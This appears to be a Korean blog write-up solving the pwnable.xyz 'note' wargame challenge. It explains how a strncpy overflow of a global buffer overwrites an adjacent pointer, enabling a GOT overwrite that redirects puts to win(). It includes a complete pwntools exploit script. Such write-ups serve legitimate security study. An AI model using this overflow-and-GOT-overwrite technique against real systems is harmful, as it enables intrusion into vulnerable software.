tmxklab
[Pwnable.xyz] note 본문
1. 문제
nc svc.pwnable.xyz 30016
1) 문제 확인
- menu가 주어지고 무한 루프로 이루어져있음
2) 함수 확인
2-1) IDA(hex-lay) - 메인 함수
- 1을 입력하면 edit_note함수 실행
- 2를 입력하면 edit_desc함수 실행
- 0을 입력하면 프로그램 종료
2-2) IDA(hex-lay) - win함수
2-3) IDA(hex-lay) - edit_note함수
- 입력할 문자열 길이만큼 할당하여 read함수를 통해 buf에 입력 받음
- strncpy함수를 통해 입력한 길이만큼 buf에 저장된 문자열을 s(전역변수)로 복사
- 마지막으로 buf의 할당된 메모리를 free를 통해 해제
2-4) IDA(hex-lay) - edit_desc함수
-buf(전역변수)를 0x20만큼 할당하고 read함수를 통해 0x20만큼 입력받아 buf에 저장
2-5) IDA(hex-lay) - read_int32함수
- read함수를 통해 0x20만큼 입력받아 buf에 저장하고 atoi함수를 통해 int자료형으로 변환
2-6) IDA(hex-lay) - print_menu함수
3) 메모리 보호기법 및 파일 정보 확인
2. 접근 방법
edit_desc함수의 전역변수 buf와 edit_note함수의 전역변수 s
-
두 변수간에 거리 : 0x20
-
edit_note함수에서 strncpy()를 통해 32bytes보다 더 큰 값을 입력하여 넣을 수 있음
즉, s변수에로부터 32bytes보다 더 큰 값을 넣게 되면 전역변수 buf를 변조할 수 있다!
(참고로 buf는 포인터 변수(void*))
현재 메모리 보호기법에서 No RELRO이므로 GOT Overwrite를 생각해 볼 수 있다.
* RELRO(Relocation Read-Only) : 데이터 섹션을 보호하는 기술로 메모리가 변경되지 않도록 함
결론)
-
edit_note함수를 통해 s변수를 bof하여 buf포인터 변수에 puts_got주소를 넣음
-
edt_desc함수를 통해 buf변수가 가리키는(puts_got)곳에 win함수의 주소를 넣음
-
puts대신에 win함수를 실행시키기 위해서 모든 작업을 마치고 마지막으로 이상한 값을 넣어 puts함수를 실행(puts함수 대신 win함수 실행)
3. 풀이
1) puts got찾기
- puts got : 0x601220
2) win() address찾기
- win address : 0x40093c
3) 공격 코드
from pwn import *
r = remote("svc.pwnable.xyz", 30016)
win_addr = p64(0x40093c)
puts_got = p64(0x601220)
payload = "A"*32
payload += puts_got
r.sendafter(">", "1")
r.sendafter("len?", "50")
r.sendafter("note:", payload)
r.sendafter(">", "2")
r.sendafter("desc:", win_addr)
r.sendline("4")
r.interactive()
4) 공격 실행
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] two target (0) | 2020.04.09 |
---|---|
[Pwnable.xyz] xor (0) | 2020.04.09 |
[Pwnable.xyz] free spirit (0) | 2020.03.30 |
[Pwnable.xyz] grownup (0) | 2020.03.30 |
[Pwnable.xyz] misalignment (0) | 2020.03.27 |